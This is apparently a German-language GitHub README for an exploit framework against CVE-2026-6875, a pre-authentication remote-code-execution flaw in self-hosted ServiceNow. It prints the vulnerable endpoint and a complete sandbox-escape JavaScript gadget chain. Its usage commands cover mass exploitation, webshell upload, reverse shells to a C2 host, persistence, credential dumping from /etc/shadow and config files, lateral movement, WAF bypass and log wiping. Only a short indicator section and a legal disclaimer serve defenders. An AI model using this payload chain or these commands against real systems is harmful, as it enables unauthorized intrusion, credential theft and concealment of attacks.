
CVE-2026-6875 ServiceNow Pre-Auth RCE Framework 🔥 JS Injection → Sandbox Escape → RCE → Root. Funktionen: --detect, --exec, Reverse-Shell/interaktive Shell, Batch-Threading, WAF-Bypass, Persistenz, Lateral Movement, Credential-Dump, fileless-Ausführung, Spuren verwischen. 🛡️ CVSS 9.5 aktiv ausgenutzt. Nur für autorisierte und legale Nutzung. Bleiben Sie legal. 🔒

Exploit-Framework & sicherer Verifier
Nur für autorisierte Sicherheitstests.
Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Penetrationstests bereitgestellt.
Die Autoren und Mitwirkenden sind nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden. Die Benutzer sind allein dafür verantwortlich, vor dem Testen die ausdrückliche schriftliche Genehmigung des Eigentümers des Zielsystems einzuholen. Unbefugter Zugriff auf Computersysteme ist gemäß dem Computer Fraud and Abuse Act (CFAA) und ähnlichen Gesetzen weltweit illegal.
Durch die Nutzung dieser Software stimmst du Folgendem zu:
⚠️ WARNUNG: Diese Schwachstelle wird derzeit aktiv in freier Wildbahn ausgenutzt. Unbefugte Nutzung kann zu schwerwiegenden rechtlichen Konsequenzen führen.
CVE-2026-6875 ist eine kritische Schwachstelle für nicht authentifizierte Remote-Code-Ausführung (RCE) in der ServiceNow AI Platform (ehemals Now Platform). Sie ermöglicht es Angreifern, die Script-Sandbox zu umgehen und beliebige Systembefehle mit den Berechtigungen der ServiceNow-Anwendung auszuführen.
JavaScript-Injection: Der Endpunkt assessment_thanks.do akzeptiert einen Parameter sysparm_assessable_type. Durch das Voranstellen von javascript: injiziert ein Angreifer beliebigen JavaScript-Code.
Sandbox-Escape: Ein ausgeklügeltes Sandbox-Escape-Gadget (Verkettung von DiscoveryFunctions.getCacheObjectForTable, AbstractAjaxProcessor und Class.create) hebt die JavaScript-Sandbox-Einschränkung auf.
Remote-Code-Ausführung: Der injizierte Java-Code (über java.lang.Runtime.exec()) läuft mit den Berechtigungen der ServiceNow-Anwendung und ermöglicht eine vollständige Systemkompromittierung.
Privilegienerweiterung: Post-Exploitation-Module versuchen, über sudo-Fehlkonfigurationen, SUID-Binaries, beschreibbare Cron-Jobs oder Kernel-Exploits auf root zu eskalieren.
exploit.py)Der vollständig einsatzbereite Exploit verknüpft die JavaScript-Injection und den Sandbox-Escape, um Remote-Code-Ausführung zu erreichen, mit erweiterten Post-Exploitation-Modulen für Persistenz, Lateral Movement und das Auslesen von Zugangsdaten.
verifier.py)Der sichere Verifier führt eine nicht-intrusive Schwachstellenerkennung durch, ohne schädliche Payloads auszuführen oder Systemänderungen vorzunehmen.
pip (für die requests-Bibliothek)pip install requests urllib3
[!NOTE]
exploit.pyverwendet für die Kernfunktionalität nur die Standardbibliothek;requestswird nur für die--detect-Funktion,--webhook-Benachrichtigungen und den sicheren Verifier benötigt.
verifier.py)# Single target verification
python verifier.py -u 192.168.1.100
# Custom port and path
python verifier.py -u 10.0.0.5 -p 8443 --path /snow
# Mass scan from file
python verifier.py -l targets.txt -o results.json
# Quiet mode (only vulnerable targets)
python verifier.py -u 192.168.1.100 -q
# Increase timeout for slow targets
python verifier.py -u servicenow.example.com --timeout 60
# Custom User-Agent
python verifier.py -u 192.168.1.100 --user-agent "MyScanner/1.0"
# Interactive shell on target
python exploit.py -u 192.168.1.100
# Execute a single command
python exploit.py -u 192.168.1.100 --exec "id && whoami"
# Read a file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd
# Enable detection before exploitation
python exploit.py -u 192.168.1.100 --detect
# Attempt root privilege escalation
python exploit.py -u 192.168.1.100 --privesc
# Upload a webshell
python exploit.py -u 192.168.1.100 --upload shell.jsp
# Install persistence with C2
python exploit.py -u 192.168.1.100 --persistence --c2-host 10.0.0.5 --c2-port 4444
# Clean tracks after exploit
python exploit.py -u 192.168.1.100 --clean
# Use fileless (memory) payload
python exploit.py -u 192.168.1.100 --fileless --c2-host 10.0.0.5 --c2-port 4444
# Mass exploit from file (50 threads)
python exploit.py -l targets.txt -m 50 --exec "uname -a"
# Custom callback server port
python exploit.py -u 192.168.1.100 --callback-port 9090
# Enable WAF bypass techniques
python exploit.py -u 192.168.1.100 --waf-bypass
# Send notifications via webhook
python exploit.py -u 192.168.1.100 --webhook https://myhook.com/snow
# Pipe mode (read command from stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100
# Custom port and path
python exploit.py -u 10.0.0.5 -p 8443 --path /snow
# Disable TLS verification (for self-signed certs)
python exploit.py -u 192.168.1.100 --insecure-tls
# Custom timeout and retries
python exploit.py -u 192.168.1.100 -t 60 -r 5 -d 2.0
⚠️ Wichtig: ServiceNow-Cloud-Instanzen werden automatisch gepatcht. Diese Schwachstelle betrifft hauptsächlich selbst gehostete Bereitstellungen.
Die Schwachstelle befindet sich im Endpunkt assessment_thanks.do, der einen Parameter sysparm_assessable_type akzeptiert. Durch die Angabe eines Werts, der mit javascript: beginnt, führt die Plattform das nachfolgende JavaScript im Systemkontext aus.
Verwundbarer Endpunkt:
POST /assessment_thanks.do sysparm_assessable_type=javascript:gs.print('test')
Der injizierte Code ist zunächst auf eine Sandbox beschränkt. Durch Ausnutzen der folgenden Kette wird die Sandbox jedoch umgangen:
javascript:
var s="<payload>";
DiscoveryFunctions.getCacheObjectForTable=Object;
var a={};a.get=Object;
var b=new AbstractAjaxProcessor();
b.initialize=DiscoveryFunctions.getFirstValueFromTable(
a,"",DiscoveryFunctions.getFirstValueFromTable(
a,"",DiscoveryFunctions.getFirstValueFromTable(
a,"",global,"WorkflowIconsSCR",""),"prototype",""),"initialize","");
b.a=Class.create();b.a(s);
Die Sandbox wird umgangen, wodurch vollständiger Zugriff auf Java-Klassen wie java.lang.Runtime gewährt wird.
Durchsucht .properties-, .xml- und .conf-Dateien nach Passwörtern, API-Schlüsseln und Geheimnissen:
/opt/ServiceNow/conf/*.xml/var/log/ServiceNow/*.log/etc/passwd, /etc/shadowInstalliert Backdoors über:
*/5 * * * *), systemd-Dienste, SSH-Schlüsselschtasks), Registry-Autostart-SchlüsselScannt das lokale Subnetz nach anderen ServiceNow-Instanzen oder SSH-Hosts und verwendet entdeckte Zugangsdaten erneut.
Kompiliert eine Java-Klasse spontan, lädt sie über ClassLoader und führt sie im Arbeitsspeicher aus (keine Schreibvorgänge auf der Festplatte).
{/*comment*/})\u0077 für w)ne\u0077 für new)Durchsuche deine ServiceNow-Logs nach:
extraweb_access.log – Anfragen an /assessment_thanks.do mit sysparm_assessable_type, die Folgendes enthalten:
javascript:DiscoveryFunctions.getCacheObjectForTableAbstractAjaxProcessor/var/tmp/ (z. B. shell.jsp, .sh-Skripte)/etc/passwd, /etc/shadow oder ~/.ssh/authorized_keyscrontab -l)/etc/systemd/system/)/bin/bash -i, nc, curl, wget, python -c)[+] CVE-2026-15409/15410 - SonicWall SMA1000 Multi-Exploit-Framework
https://github.com/tc4dy/CVE-2026-15409-15410-Framework
[+] CVE-2026-41091 - SolarFlare (RedSun) Microsoft Defender LPE
https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
[+] CVE-2026-57821 - Apache Fineract SQL-Injection-Toolkit
https://github.com/tc4dy/CVE-2026-57821-PoC-Exploit
[+] CVE-2026-41940 - cPanel/WHM-Authentifizierungs-Bypass
https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit
| Attribut | Wert |
|---|
| 📅 Entdeckt | 1. April 2026 (Searchlight Cyber) |
| ⚠️ CVSS-Score | 9.5 (KRITISCH) |
| 📋 CISA KEV | Hinzugefügt am 13. Juli 2026 |
| 🎯 Betroffene Produkte | Selbst gehostete ServiceNow AI Platform |
| 🔄 Behobene Versionen | Brazil EA/GA, Australia Patch 2, Zurich Patch 7b/9, Yokohama Patch 12 Hot Fix 1b/13 |
| 🔓 Authentifizierung | Nicht erforderlich (Pre-Auth) |
| 🌍 Aktive Ausnutzung | In freier Wildbahn bestätigt (Juli 2026) |
| Funktion | Beschreibung |
|---|
| 🚀 JavaScript-Injection | Injiziert Payload über den Parameter sysparm_assessable_type. |
| 💻 Sandbox-Escape | Umgeht die Script-Sandbox von ServiceNow, um beliebigen Java-Code auszuführen. |
| 🔐 Interaktive Shell | Startet eine Live-Shell mit Unterstützung für mehrere Befehle. |
| 👑 Root-Privesc | Prüft auf sudo-Fehlkonfigurationen, SUID-Binaries und Cron-Jobs. |
| 📁 Dateioperationen | Lädt Webshells hoch und liest/lädt Dateien per Base64-Kodierung herunter. |
| 🌐 Batch-Scanning | Nutzt mehrere Ziele massenhaft mit Threading aus (-l-Flag). |
| 🎯 Sichere Erkennung | Optionales --detect-Flag für nicht-intrusive Schwachstellenprüfung. |
| ⚙️ WAF-Bypass | Integrierte Verschleierungstechniken zur Umgehung von WAF/IDS (6 Techniken). |
| 🧩 Persistenz | Installiert Cron-/systemd-/schtasks-Backdoors. |
| 🔍 Lateral Movement | Scannt das lokale Netzwerk nach anderen verwundbaren Hosts und versucht SSH-/SSRF-Ausbreitung. |
| 🧹 Spuren verwischen | Entfernt Logs, Bash-Historie und Audit-Trails. |
| 💾 Fileless-Ausführung | Nutzt den Java-ClassLoader, um im Arbeitsspeicher residierende Payloads ohne Schreiben auf die Festplatte auszuführen. |
| 🔌 Callback-Server | Integrierter HTTP-Server zum Empfangen von Befehlsausgaben (optional). |
| 📢 Webhook-Benachrichtigungen | Sendet Ergebnisse an eine benutzerdefinierte URL (Slack, Discord usw.). |
| 🪟 Plattformübergreifend | Unterstützt Linux- und Windows-Ziele (cmd.exe / PowerShell). |
| 🔒 Thread-sicher | Verwendet Sperrmechanismen für gleichzeitige Operationen. |
| 📊 Versionserkennung | Erkennt die ServiceNow-Version (Zurich/Brazil/Australia/Yokohama). |
| Befehl | Beschreibung |
|---|
exec <cmd> | Systembefehl ausführen |
upload <local> [remote] | Webshell auf das Ziel hochladen |
download <remote> | Datei herunterladen und Inhalt anzeigen |
privesc | Privilegienerweiterung versuchen |
reverse <host> <port> | Reverse Shell senden |
dumpcred | Zugangsdaten aus ServiceNow-Konfigurationen auslesen |
persist <host> <port> | Persistenz installieren (cron/systemd/schtasks) |
lateral | Lateral Movement versuchen |
clean | Spuren verwischen (Logs, Historie) |
memory <host> <port> | Fileless-Java-Payload ausführen |
exit | Interaktive Shell beenden |
| Funktion | Beschreibung |
|---|
| 🔍 ServiceNow-Erkennung | Identifiziert ServiceNow-Instanzen über mehrere Endpunkte. |
| 📊 Versionserkennung | Erkennt spezifische ServiceNow-Releases und Patch-Level. |
| 🧪 JavaScript-Injection-Test | Testet auf Injectionschwachstellen mit sicheren gs.print()-Payloads. |
| 🔒 Sandbox-Escape-Test | Verifiziert den Sandbox-Escape ohne destruktive Befehle. |
| 📈 Konfidenz-Scoring | Liefert einen Konfidenzwert in Prozent (85–95 %) basierend auf der Evidenz. |
| 📋 JSON-Ausgabe | Exportiert Ergebnisse im JSON-Format für Berichte. |
| 🔄 Massen-Scanning | Scannt mehrere Ziele mit Threading-Unterstützung. |
| 🎯 Nicht-intrusiv | Führt nur das harmlose uname -a zur Systemabfrage aus. |
| ServiceNow-Release | Verwundbare Versionen | Behobene Versionen |
|---|
| Brazil | EA, GA | Gepatcht (nach GA) |
| Australia | Vor Patch 2 | Patch 2+ |
| Zurich | Vor Patch 7b, Patch 9 | Patch 7b, Patch 9+ |
| Yokohama | Vor Patch 12 Hot Fix 1b | Patch 12 Hot Fix 1b, Patch 13 |
| Andere Releases | Unbekannt | Offizielles Advisory prüfen |